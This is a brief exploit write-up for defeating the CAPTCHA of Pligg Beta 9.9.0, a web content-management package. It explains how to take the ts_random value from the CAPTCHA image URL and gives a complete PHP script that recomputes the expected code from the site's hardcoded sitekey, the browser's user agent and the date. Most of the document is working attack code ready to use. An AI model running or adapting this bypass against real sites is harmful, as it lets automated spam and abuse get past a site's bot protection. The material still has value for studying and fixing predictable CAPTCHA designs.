Captcha bypass.
The link to the capthca image will look something like this:
http://127.0.0.1/Pligg_Beta_9.9.0/ts_image.php?ts_random=54771854
To obtain the clear text, send that ts_random value to the
captcha_bypass.php with the same web browser:
http://127.0.0.1/captcha_bypass.php?ts_random=54771854
captcha_bypass.php:
<?php
$sitekey=82397834;
$ts_random=$_REQUEST['ts_random'];
$datekey = date("F j");
$rcode = hexdec(md5($_SERVER['HTTP_USER_AGENT'] . $sitekey .
$ts_random . $datekey));
print substr($rcode, 2, 6);
?>
